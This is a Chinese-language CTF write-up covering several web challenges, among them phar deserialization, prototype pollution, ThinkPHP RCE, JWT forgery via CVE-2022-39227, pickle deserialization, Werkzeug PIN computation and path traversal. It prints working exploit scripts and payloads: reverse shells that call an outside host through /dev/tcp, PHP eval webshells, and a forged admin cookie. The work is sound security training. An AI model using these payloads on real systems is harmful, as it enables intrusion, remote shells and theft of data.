<code><?php
class Flag{
public $cmd;
}
$a=new Flag();
$a->cmd="bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'";code>
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
然后就和方法一差不多,先gzip压缩改后缀,然后phar伪协议读取
成功反弹shell
OtenkiBoy
考点:JavaSctipt 原型链污染
题目给了源码,首先是app.js
<code>const env = global.env = (process.env.NODE_ENV || "production").trim();
const isEnvDev = global.isEnvDev = env === "development";
const devOnly = (fn) => isEnvDev ? (typeof fn === "function" ? fn() : fn) : undefined
const CONFIG = require("./config"), DEFAULT_CONFIG = require("./config.default");
const PORT = CONFIG.server_port || DEFAULT_CONFIG.server_port;
const path = require("path");
const Koa = require("koa");
const bodyParser = require("koa-bodyparser");
const app = new Koa();
app.use(require('koa-static')(path.join(__dirname, './static')));
devOnly(_ => require("./webpack.proxies.dev").forEach(p => app.use(p)));
app.use(bodyParser({
onerror: function (err, ctx) {
// If the json is invalid, the body will be set to {}. That means, the request json would be seen as empty.
if (err.status === 400 && err.name === 'SyntaxError' && ctx.request.type === 'application/json') {
ctx.request.body = {}
} else {
throw err;
}
}
}));
[
"info",
"submit"
].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });
app.listen(PORT, () => {
console.info(`Server is running at port ${PORT}...`);
})
module.exports = app;
给了两个路由,分别是./info
和./submit
追踪一下submit.js
const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const { rndID, mergeJSON } = require("./_components/utils");
async function insert2db(data) {
let date = String(data["date"]), place = String(data["place"]),
contact = String(data["contact"]), reason = String(data["reason"]);
const timestamp = Date.now();
const wishid = rndID(24, timestamp);
await sql.run(`INSERT INTO wishes (wishid, date, place, contact, reason, timestamp) VALUES (?, ?, ?, ?, ?, ?)`,
[wishid, date, place, contact, reason, timestamp]).catch(e => { throw e });
return { wishid, date, place, contact, reason, timestamp }
}
router.post("/submit", async (ctx) => {
if (ctx.header["content-type"] !== "application/json")
return ctx.body = {
status: "error",
msg: "Content-Type must be application/json"
}
const jsonText = ctx.request.rawBody || "{}"
try {
const data = JSON.parse(jsonText);
if (typeof data["contact"] !== "string" || typeof data["reason"] !== "string")
return ctx.body = {
status: "error",
msg: "Invalid parameter"
}
if (data["contact"].length <= 0 || data["reason"].length <= 0)
return ctx.body = {
status: "error",
msg: "Parameters contact and reason cannot be empty"
}
const DEFAULT = {
date: "unknown",
place: "unknown"
}
const result = await insert2db(mergeJSON(DEFAULT, data));
ctx.body = {
status: "success",
data: result
};
} catch (e) {
console.error(e);
ctx.body = {
status: "error",
msg: "Internal Server Error"
}
}
})
module.exports = router;
大概过程就是检测content-type是否为application/json,然后就是关键语句
const result = await insert2db(mergeJSON(DEFAULT, data));
这里的data参数是可控的,继续追踪mergeJSON函数,在\routes\_components
的utils.js里面
const mergeJSON = function (target, patch, deep = false) {
if (typeof patch !== "object") return patch;
if (Array.isArray(patch)) return patch; // do not recurse into arrays
if (!target) target = {}
if (deep) { target = copyJSON(target), patch = copyJSON(patch); }
for (let key in patch) {
if (key === "__proto__") continue;
if (target[key] !== patch[key])
target[key] = mergeJSON(target[key], patch[key]);
}
return target;
}
可以发现存在原型链污染,虽然过滤了__proto__
,但是我们可以用constructor.prototype
去代替
接下来是寻找注入点,查看routes/info.js
const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const { mergeJSON, createDate } = require("./_components/utils");
const CONFIG = mergeJSON(require("../config.default"), require("../config"), true);
const DEFAULT_CONFIG = require("../config.default");
const LauchTime = new Date();
async function getInfo(timestamp) {
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp;
try {
minTimestamp = createDate(CONFIG.min_public_time).getTime();
if (!Number.isSafeInteger(minTimestamp)) throw new Error("Invalid configuration min_public_time.");
} catch (e) {
console.warn(`\x1b[33m${e.message}\x1b[0m`);
console.warn(`Try using default value ${DEFAULT_CONFIG.min_public_time}.`);
minTimestamp = createDate(DEFAULT_CONFIG.min_public_time, { UTC: false, baseDate: LauchTime }).getTime();
}
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}
router.post("/info/:ts?", async (ctx) => {
if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")
return ctx.body = {
status: "error",
msg: "Content-Type must be application/x-www-form-urlencoded"
}
if (typeof ctx.params.ts === "undefined") ctx.params.ts = '0'
const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
if (typeof timestamp !== "number")
return ctx.body = {
status: "error",
msg: "Invalid parameter ts"
}
try {
const data = await getInfo(timestamp).catch(e => { throw e });
ctx.body = {
status: "success",
data: data
}
} catch (e) {
console.error(e);
return ctx.body = {
status: "error",
msg: "Internal Server Error"
}
}
})
module.exports = router;
关键部分为getInfo函数,minTimestamp取自配置文件,在Math.max处为可控的timestamp设置下限值,我们需要将minTimestamp改小来获取更早的数据库数据。
然后追踪createDate函数,在routes/_components/utils.js
中
存在几个注入点
opts 注入点
const DEFAULT_CREATE_DATE_OPTIONS = {
UTC: false,
format: [
"yyyy-MM-dd HH:mm:ss",
"yyyy-MM-dd HH:mm:ss.fff",
"yyyy-MM-dd",
"MM/dd/yyyy",
"MM/dd/yyyy HH:mm:ss",
"MM/dd/yyyy HH:mm:ss.fff",
"MM/dd/yy HH:mm:ss",
"HH:mm:ss",
"HH:mm:ss.fff"
],
// baseDate: undefined
}
const createDate = (str, opts) => {
const CopiedDefaultOptions = copyJSON(DEFAULT_CREATE_DATE_OPTIONS)
if (typeof opts === "undefined") opts = CopiedDefaultOptions
if (typeof opts !== "object") opts = { ...CopiedDefaultOptions, UTC: Boolean(opts) };
opts.UTC = typeof opts.UTC === "undefined" ? CopiedDefaultOptions.UTC : Boolean(opts.UTC);
opts.format = opts.format || CopiedDefaultOptions.format;
if (!Array.isArray(opts.format)) opts.format = [opts.format]
opts.format = opts.format.filter(f => typeof f === "string")
.filter(f => {
if (/yy|yyyy|MM|dd|HH|mm|ss|fff/.test(f) === false) {
console.warn(`Invalid format "${f}".`, `At least one format specifier is required.`);
return false;
}
if (`|${f}|`.replace(/yyyy/g, "yy").split(/yy|MM|dd|HH|mm|ss|fff/).includes("")) {
console.warn(`Invalid format "${f}".`, `Delimeters are required between format specifiers.`);
return false;
}
if (f.includes("yyyy") && f.replace(/yyyy/g, "").includes("yy")) {
console.warn(`Invalid format "${f}".`, `"yyyy" and "yy" cannot be used together.`);
return false;
}
return true;
})
opts.baseDate = new Date(opts.baseDate || Date.now());
当createDate的opts未指定时并不能注入,但是当opts为 JSON 对象且没有指定format属性时,下面这一行会触发原型链
opts.format = opts.format || CopiedDefaultOptions.format;
而对于baseDate,由于DEFAULT_CREATE_DATE_OPTIONS中本身不含baseDate(undefined),可直接触发该原型链
opts.baseDate = new Date(opts.baseDate || Date.now());
时间函数注入点
在utility functions的注释部分存在函数
const getHMS = (time) => {
let regres = /^(\d+) *\: *(\d+)( *\: *(\d+)( *\. *(\d+))?)?$/.exec(time.trim())
if (regres === null) return {}
let [n1, n2, n3, n4] = [regres[1], regres[2], regres[4], regres[6]].map(t => typeof t === "undefined" ? undefined : Number(t));
if (typeof n3 === "undefined") n3 = 0; // 23:59(:59)?
if (0 <= n1 && n1 <= 23 && 0 <= n2 && n2 <= 59 && 0 <= n3 && n3 <= 59) {
// 23:59:59(.999)?
let HH = pad(n1, 2), mm = pad(n2, 2), ss = pad(n3, 2),
fff = typeof n4 === "undefined" ? undefined : pad(n4, 3).substring(0, 3);
const o = { HH, mm, ss }
if (typeof fff !== "undefined") o.fff = fff;
return o;
} else return {}
}
主要看最后几行,如果fff(即毫秒)未被定义,那么返回值中就不会带有fff属性
调用getHMS函数的地方在createDate的末尾几行,属于createDate的 Fallback Auto Detection 部分
const { HH, mm, ss, fff } = getHMS(time_str)
当time_str中不包含毫秒,能够触发原型链
接下来就是如何利用漏洞的问题了
sortTable.forEach((f, i) => {
if (f == "yy") {
let year = Number(regres[i + 1])
year = year < 100 ? (1900 + year) : year;
return argTable["yyyy"] = year;
}
argTable[f] = Number(regres[i + 1])
})
我们发现createDate的opts的format支持yy标识符,而当年份小于100时,我们认为是20世纪的年份
举例来说,如果format为20yy-MM-dd,在format解析字符串2023-10-01时,将解析yy为23,输出输出为1923,最终输出的年份是1923-10-01
目标:污染format
前面提到,污染format的条件是opts为 JSON 对象且没有指定format属性,观察routes/info中的相应片段,我们需要触发下面的catch
try {
minTimestamp = createDate(CONFIG.min_public_time).getTime();
if (!Number.isSafeInteger(minTimestamp)) throw new Error("Invalid configuration min_public_time.");
} catch (e) {
console.warn(`\x1b[33m${e.message}\x1b[0m`);
console.warn(`Try using default value ${DEFAULT_CONFIG.min_public_time}.`);
minTimestamp = createDate(DEFAULT_CONFIG.min_public_time, { UTC: false, baseDate: LauchTime }).getTime();
}
触发catch的条件是前面try的createDate返回一个无效的日期,或者createDate本身被调用时法神错误,所以就要利用我们刚刚找到的两个注入点
下面的这行代码表明了基于format的日期匹配不可能返回一个无效日期,因此返回无效日期只有 Fallback Auto Detection 能够做到
if (Number.isSafeInteger(d.getTime())) return d;
else continue;
从如下代码片段可知,基于format的日期匹配依赖于baseDate,format 的过程是在argTable上进行覆盖
const dateObj = opts.baseDate
const _UTC = opts.UTC ? "UTC" : ""
let argTable = {
"yyyy": dateObj[`get${_UTC}FullYear`](),
"MM": dateObj[`get${_UTC}Month`]() + 1,
"dd": dateObj[`get${_UTC}Date`](),
"HH": dateObj[`get${_UTC}Hours`](),
"mm": dateObj[`get${_UTC}Minutes`](),
"ss": dateObj[`get${_UTC}Seconds`](),
"fff": dateObj[`get${_UTC}Milliseconds`] ? dateObj[`get${_UTC}Milliseconds`]() : undefined // due to system architecture
}
因此污染baseDate为无效日期即可绕过 format 模式进入 Fallback Auto Detection
routes/info.js
的try中用的是config.js中的min_pulic_time,为2019-07-09 00:00:00
,不带有毫秒,刚好能够触发fff的原型链污染,为fff指定为无效值即可
使用如下的 payload 可以触发catch
{
"contact":"1", "reason":"2",
"constructor":{
"prototype":{
"baseDate":"aaa",
"fff": "bbb"
}
}
}
触发catch后,达到了污染format的条件,但是createDate的参数变成了config.default.js中的min_public_time,为2019-07-08T16:00:00.000Z
,因此可以构造format为yy19-MM-ddTHH:mm:ss.fffZ
。然后基于format的日期匹配会返回1920-07-08T16:00:00.000Z
的日期,已经将minTimestamp提早了近一个世纪了
最终payload
{
"contact":"a", "reason":"a",
"constructor":{
"prototype":{
"format": "yy19-MM-ddTHH:mm:ss.fffZ",
"baseDate":"aaa",
"fff": "bbb"
}
}
}
以Content-Type: application/json的 Header 用POST方法向路径/submit请求即可
然后为我们再请求/info/0,找到含有 flag 的一条数据
WEEK5
Unserialize Again
考点:phar反序列化、绕过__wakeup()、修改签名
打开题目,发现有文件上传功能
在源码出有hint,去看cookie
访问得到源码
<code> <?php
highlight_file(__FILE__);
error_reporting(0);
class story{
private $user='admin';code>
public $pass;
public $eating;
public $God='false';code>
public function __wakeup(){
$this->user='human';code>
if(1==1){
die();
}
if(1!=1){
echo $fffflag;
}
}
public function __construct(){
$this->user='AshenOne';code>
$this->eating='fire';code>
die();
}
public function __tostring(){
return $this->user.$this->pass;
}
public function __invoke(){
if($this->user=='admin'&&$this->pass=='admin'){
echo $nothing;
}
}
public function __destruct(){
if($this->God=='true'&&$this->user=='admin'){
system($this->eating);
}
else{
die('Get Out!');
}
}
}
if(isset($_GET['pear'])&&isset($_GET['apple'])){
// $Eden=new story();
$pear=$_GET['pear'];
$Adam=$_GET['apple'];
$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));
file_exists($Adam);
}
else{
echo '多吃雪梨';
} 多吃雪梨
分析一下,命令执行的条件很简单,让God=true
和user=admin
成立即可,所以我们要绕__wakeup()。
exp如下
<?php
class story{
private $user;
public $pass;
public $eating;
public $God;
}
$a=new story();
$a->user='admin';code>
$a->God=true;
$a->eating='cat /*';code>
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
将生成的文件,用010打开,复制到新建的十六进制文件
修改属性数目绕过wakeup
然后由于签名文件损坏要修复,注意到倒数第二行最后面的03
可以知道为SHA256,修复脚本如下
<code>from hashlib import sha256
with open("hacker1.phar",'rb') as f:
text=f.read()
main=text[:-40] #正文部分(除去最后40字节)
end=text[-8:] #最后八位也是不变的
new_sign=sha256(main).digest()
new_phar=main+new_sign+end
open("hacker1.phar",'wb').write(new_phar) #将新生成的内容以二进制方式覆盖写入原来的phar文件
然后发现题目的文件上传不能用
那么写脚本上传顺便url编码
import urllib.parse
import os
import re
import requests
url='http://1c6e2942-f983-47cc-a6ef-9612e7519196.node4.buuoj.cn:81/'code>
pattern = r'flag\{.+?\}'
params={
'pear':'hacker1.phar',
'apple':'phar://hacker1.phar'
}
with open('hacker1.phar','rb') as fi:
f = fi.read()
ff=urllib.parse.quote(f)
fin=requests.post(url=url+"pairing.php",data=ff,params=params)
matches = re.findall(pattern, fin.text)
for match in matches:
print(match)
得到flag
Final
考点:ThinkPHP 5.0.23 RCE、SUID提权
打开题目,发现是ThinkPHP框架
直接用工具找到payload
试一试发现成功打开phpinfo
发现system被禁了,那么试试exec写入webshell
写入到 /var/www/public
payload
GET:?s=captcha&test=-1
POST:_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo ‘<?php eval($_POST['shell']);?>’ > /var/www/public/shell.php
蚁剑连接
Ye’s Pickle
考点:python_jwt的CVE-2022-39227、pickle反序列化
题目给了附件,我们分析一下
<code># -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__)
def generate_random_string(length=16):
characters = string.ascii_letters + string.digits # 包含字母和数字
random_string = ''.join(random.choice(characters) for _ in range(length))
return random_string
app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)code>
@app.route("/")
def index():
payload=request.args.get("token")
if payload:
token=verify_jwt(payload, key, ['PS256'])
session["role"]=token[1]['role']
return render_template('index.html')
else:
session["role"]="guest"
user={"username":"boogipop","role":"guest"}
jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))
return render_template('index.html',token=jwt)
@app.route("/pickle")
def unser():
if session["role"]=="admin":
pickle.loads(base64.b64decode(request.args.get("pickle")))
return render_template("index.html")
else:
return render_template("index.html")
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)code>
分析如下
先看/
路由下,先接收参数token然后进行jwt认证并且从验证后的 JWT 中获取用户角色信息,并存储在 Session中,否则role赋值为guest,创建用户对象生成JWT然后再看看./pickle
路由,首先检测session中role参数值是否为admin,如果是则进行pickle反序列化
所以我们的思路很明显,伪造session值为admin,然后进行pickle反序列化
打开题目,发现给了一段token值
然后拿去JWT解密一下
发现role值为guest
那么我们就要伪造JWT
exp如下
<code>import base64
from datetime import timedelta
from json import loads, dumps
from jwcrypto.common import base64url_decode, base64url_encode
def topic(topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['role'] = 'admin'
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
originaltoken = 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTk1MzgyNDQsImlhdCI6MTY5OTUzNDY0NCwianRpIjoiMFB1NllqWEFlRXMzZy1ZRFZ5bDNkUSIsIm5iZiI6MTY5OTUzNDY0NCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.K_GRKX1-2Em3LFLx5wD_VJ-lHrrU595Xwrniu_zxexgUDmy5DR9V9Qsq0lVMsEEwNoShA9-IsWiS58j3MxGldk3GUXWCEeXZ7HBlcPCB_wUlZ6TE7FIqZkeAbtH9EaptOEYTxzbiVsWsoLGjCm8Y9EazQkUQd_aQRhYHa6KgNmbmFeVQSeORwLAi1PVkjYT0wVtweG3KAegorhyBFpmK9v5nKvwFYP6l33LvkTLV3V1ryb-yfvCn08TLYKc17JNkRquBp_1pW_dH1P_qkxiO98806nBniPc76BjSwolLHPh7J9Wa53pBV2RSKbRjqmJ7JR3hr_RkgVmSOMUCeCT5sw'
topic = topic(originaltoken)
print(topic)
这里有个小坑,生成的payload要将空格url编码一下
然后bp抓包,GET传参参数token
因为我们代码审计时知道会将token赋值给session里
所以我们用该session值去进行pickle反序列化
(不确定是否改为admin可以去解密看看)
接着就到pickle反序列化,由于没有任何过滤
直接给payload,反弹shell
<code>import base64
opcode=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'"
tR.
'''
print(base64.b64encode(opcode))
bp抓包访问./pickle
,修改session,GET传参参数pickle
成功反弹shell
得到flag
pppython?
考点:ssrf、计算pin码
打开题目,源码如下
<code> <?php
if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]){
header("Content-type: text/plain");
system("ls / -la");
exit();
}
try {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);
$output = curl_exec($ch);
echo $output;
curl_close($ch);
}catch (Error $x){
highlight_file(__FILE__);
highlight_string($x->getMessage());
}
?>
发现youhint,按照要求请求参数hint为数组,对应键值为"your?", "mine!", "hint!!"
?hint[0]=your?&hint[1]=mine!&hint[2]=hint!!
得到信息,读取flag权限不够,且存在app.py
回到源码,看到由curl命令,尝试ssrf读取app.py
(注意参数lolita得为数组格式,因为有<code>CURLOPT_HTTPHEADER)
?url=file:///app.py&lolita[]=
app.py源码如下
from flask import Flask, request, session, render_template, render_template_string
import os, base64
#from NeepuF1Le import neepu_files
app = Flask(__name__)
app.config['SECRET_KEY'] = '******'
@app.route('/')
def welcome():
if session["islogin"] == True:
return "flag{***********************}"
app.run('0.0.0.0', 1314, debug=True)
这里伪造session能得到flag,但是根本没有cookie,伪造不了,题目也提示了。但是可以发现debug开启监听在1314端口,那么结合CURLOPT_HTTPHEADER
包含头部信息,我们可以计算pin码手动生成cookie然后上传用于身份验证,从而命令执行
PIN 的生成流程分析,可以知道 PIN 主要由 probably_public_bits 和 private_bits 两个列表变量决定,而这两个列表变量又由如下6个变量决定:
username 启动这个 Flask 的用户
modname 一般默认 flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般默认 flask.app 为 Flask
getattr(mod, '__file__', None)为 flask 目录下的一个 app.py 的绝对路径,可在爆错页面看到
str(uuid.getnode()) 则是网卡 MAC 地址的十进制表达式
get_machine_id() 系统 id
我们知道用户为root
绝对路径这里我没爆不出来
/usr/local/lib/python3.10/dist-packages/flask/app.py
接着获取网卡 MAC 地址
?url=file:///sys/class/net/eth0/address&lolita[]=
然后十六进制转十进制
最后的系统id包括两部分,我们先读取<code>/etc/machine-id(也可以是/proc/sys/kernel/random/boot_id
)
?url=file:///proc/sys/kernel/random/boot_id&lolita[]=
然后取/proc/self/cgroup
并且只读取第一行,并以从右边算起的第一个/
为分隔符
?url=file:///proc/self/cgroup&lolita[]=
计算pin码脚本如下
<code>import hashlib
from itertools import chain
import time
probably_public_bits = [
'root'
'flask.app',
'Flask',
'/usr/local/lib/python3.10/site-packages/flask/app.py'
]
private_bits = [
'209308333341629',
'8cab9c97-85be-4fb4-9d17-29335d7b2b8adocker-de0acd954e28d766468f4c4108e32529318e5e4048153309680469d179d6ceac.scope'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")
运行脚本,得到cookie
然后就是如何传参
<code>GET /?&__debugger__=yes&cmd=print(1)&frm=140324285712640&s=prj74Iraob1k5eMHiH37
这里我们要去获取frm和s的值
frm如果没有报错信息的话值为0s的值可以直接访问./console
,然后查看源码的SECRET值
由于这里试了半天没有报错信息,那么frm=0
访问一下console,获取s值
?url=http://localhost:1314/console&lolita[]=
4-复盘
考点:pearcmd.php本地文件包含、SUID提权
下载附件,源码如下
<code><?php require_once 'inc/header.php'; ?>
<?php require_once 'inc/sidebar.php'; ?>
<!-- Content Wrapper. Contains page content -->
<?php
if (isset($_GET['page'])) {
$page ='pages/' .$_GET['page'].'.php';
}else{
$page = 'pages/dashboard.php';
}
if (file_exists($page)) {
require_once $page;
}else{
require_once 'pages/error_page.php';
}
?>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">code>
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
<?php require_once 'inc/footer.php'; ?>
可以看到有文件包含漏洞,将我们传参的值与php拼接
(这里可以参考week3的include)
bp抓包,写入一句话木马
?+config-create+/&page=../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+shell.php
然后蚁剑连接
发现flag权限不够
然后就是SUID提权
NextDrive
考点:伪造请求发包、Cookie窃取、Linux文件系统
打开题目,在公共资源区发现<code>test.req.http
下载下来查看一下
HTTP/1.1 200 OK
content-type: application/json; charset=utf-8
content-length: 50
date: Tue, 06 Oct 2023 13:39:21 GMT
connection: keep-alive
keep-alive: timeout=5
{“code”:0,“msg”:“success”,“logged”:true,“data”:[{“name”:“すずめ feat.十明 - RADWIMPS,十明.flac”,“hash”:“5da3818f2b481c261749c7e1e4042d4e545c1676752d6f209f2e7f4b0b5fd0cc”,“size”:27471829,“uploader”:“admin”,“uploader_uid”:“100000”,“shareTime”:1699622700337,“isYours”:true,“isOwn”:true,“ownFn”:“すずめ feat.十明 - RADWIMPS,十明.flac”},{“name”:“Windows 12 Concept.png”,“hash”:“469db0f38ca0c07c3c8726c516e0f967fa662bfb6944a19cf4c617b1aba78900”,“size”:440707,“uploader”:“admin”,“uploader_uid”:“100000”,“shareTime”:1699622702813,“isYours”:true,“isOwn”:true,“ownFn”:“Windows 12 Concept.png”},{“name”:“信息安全技术信息安全事件分类分级指南.pdf”,“hash”:“03dff115bc0d6907752796fc808fe2ef0b4ea9049b5a92859fd7017d4e96c08f”,“size”:330767,“uploader”:“admin”,“uploader_uid”:“100000”,“shareTime”:1699622702846,“isYours”:true,“isOwn”:true,“ownFn”:“信息安全技术信息安全事件分类分级指南.pdf”},{“name”:“不限速,就是快!.jpg”,“hash”:“2de8696b9047f5cf270f77f4f00756be985ebc4783f3c553a77c20756bc68f2e”,“size”:32920,“uploader”:“admin”,“uploader_uid”:“100000”,“shareTime”:1699622702870,“isYours”:true,“isOwn”:true,“ownFn”:“不限速,就是快!.jpg”},{“name”:“test.req.http”,“hash”:“102982a62a610a3a36d686f574fa2ad1447095da77d0686e6157d02dd37b4e7f”,“size”:1085,“uploader”:“admin”,“uploader_uid”:“100000”,“shareTime”:1699622706331,“isYours”:true,“isOwn”:true,“ownFn”:“test.req.http”}]}
可以看到大概是每个文件对应文件名,哈希值和文件大小
我们先随便注册一个用户,想注册admin发现存在,思路是登录admin获取重要信息
随便上传一个文件
F12看到请求过程中有check过程,响应里面显示无法秒传
bp抓包一下,发现json数据只有哈希值和文件名
由于我们刚刚下载的文件里可能存在敏感信息,特别是test.req.http文件
那么我们在check时使用该文件对应的哈希值去绕过,从而下载下来该文件
然后打开下载的文件
<code>POST /api/info/drive/sharezone HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Cookie: uid=100000; token=eyJ1c2VybmFtZSI6ImFkbWluIiwidWlkIjoiMTAwMDAwIiwidG9rZW4iOiJhYjg3N2I2MDhjOTBlODJhNzNjMDhlYTBjN2NjNjI4ODdiN2U2YTIwOWJmOTljNjQ0ZjE4YmU3NzQzODkzMGY1In0uWxlkC2QWXTZtHjojaVAhUA.AwN3HB8QSRFNeUMLXAxZAlMLK00eRBoTTXhDAlgPWwZcAXceFUIdHEt2QwQLWlxVXQd/H0BGT0dLJEULW11fAlZUek8XQklAG3QXVV5bV1VXC3dOR0QZFRdwFFJRD15SAVB6SkMWTkBKdUBQWVxfBlQHf08URkgRH3dAAl8NWQc
Host: localhost:21920
Origin: http://localhost:21920
Pragma: no-cache
Referer: http://localhost:21920/sharezone
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
sec-ch-ua: "Microsoft Edge";v="119", "Chromium";v="119", "Not?A_Brand";v="24"code>
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
我们发现cookie值,尝试伪造cookie
我们刷新页面,bp修改cookie值,成功以以admin登录
把这个share.js下载下来,源码如下
<code>const Router = require("koa-router");
const router = new Router();
const CONFIG = require("../../runtime.config.json");
const Res = require("../../components/utils/response");
const FileSignUtil = require("../../components/utils/file-signature");
const { DriveUtil } = require("../../components/utils/database.utilities");
const fs = require("fs");
const path = require("path");
const { verifySession } = require("../../components/utils/session");
const logger = global.logger;
/**
* @deprecated
* ! FIXME: 发现漏洞,请进行修改
*/
router.get("/s/:hashfn", async (ctx, next) => {
const hash_fn = String(ctx.params.hashfn || '')
const hash = hash_fn.slice(0, 64)
const from_uid = ctx.query.from_uid
const custom_fn = ctx.query.fn
// 参数校验
if (typeof hash_fn !== "string" || typeof from_uid !== "string") {
// invalid params or query
ctx.set("X-Error-Reason", "Invalid Params");
ctx.status = 400; // Bad Request
return ctx.res.end();
}
// 是否为共享的文件
let IS_FILE_EXIST = await DriveUtil.isShareFileExist(hash, from_uid)
if (!IS_FILE_EXIST) {
ctx.set("X-Error-Reason", "File Not Found");
ctx.status = 404; // Not Found
return ctx.res.end();
}
// 系统中是否存储有该文件
let IS_FILE_EXIST_IN_STORAGE
try {
IS_FILE_EXIST_IN_STORAGE = fs.existsSync(path.resolve(CONFIG.storage_path, hash_fn))
} catch (e) {
ctx.set("X-Error-Reason", "Internal Server Error");
ctx.status = 500; // Internal Server Error
return ctx.res.end();
}
if (!IS_FILE_EXIST_IN_STORAGE) {
logger.error(`File ${hash_fn.yellow} not found in storage, but exist in database!`)
ctx.set("X-Error-Reason", "Internal Server Error");
ctx.status = 500; // Internal Server Error
return ctx.res.end();
}
// 文件名处理
let filename = typeof custom_fn === "string" ? custom_fn : (await DriveUtil.getFilename(from_uid, hash));
filename = filename.replace(/[\\\/\:\*\"\'\<\>\|\?\x00-\x1F\x7F]/gi, "_")
// 发送
ctx.set("Content-Disposition", `attachment; filename*=UTF-8''${encodeURIComponent(filename)}`);
// ctx.body = fs.createReadStream(path.resolve(CONFIG.storage_path, hash_fn))
await ctx.sendFile(path.resolve(CONFIG.storage_path, hash_fn)).catch(e => {
logger.error(`Error while sending file ${hash_fn.yellow}`)
logger.error(e)
ctx.status = 500; // Internal Server Error
return ctx.res.end();
})
})
module.exports = router;
可以看注释有hint存在漏洞。首先是给了处理GET请求的路由,其中路径为./s/
加上参数hashfn,检测前64位是否为哈希值,然后从请求中获取参数fn和from_uid,其中from_uid表示下载的文件是这个 uid 的用户分享的;接着就是参数检测,是否为共享文件(参数为哈希值和from_uid),是否存储该文件,然后文件名处理;最后发送时利用path.resolve函数处理,注意里面的参数hash_fn
是完全可控的,我们只需要让64位哈希值后面跟上../
即可实现路径穿越
既然我们知道参数hashfn可控,随便一个在公共资源区的哈希值拼接上/../../../../etc/passwd
,然后由于要验证身份,传参from_uid=100000
(其中的/
url编码一下)
http://node4.buuoj.cn:29715/s/5da3818f2b481c261749c7e1e4042d4e545c1676752d6f209f2e7f4b0b5fd0cc%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd?from_uid=100000
发现下载了一个音乐文件,不过打开可以看到我们执行的
我们直接查看环境变量
<code>/s/5da3818f2b481c261749c7e1e4042d4e545c1676752d6f209f2e7f4b0b5fd0cc%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron?from_uid=100000
打开得到flag
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。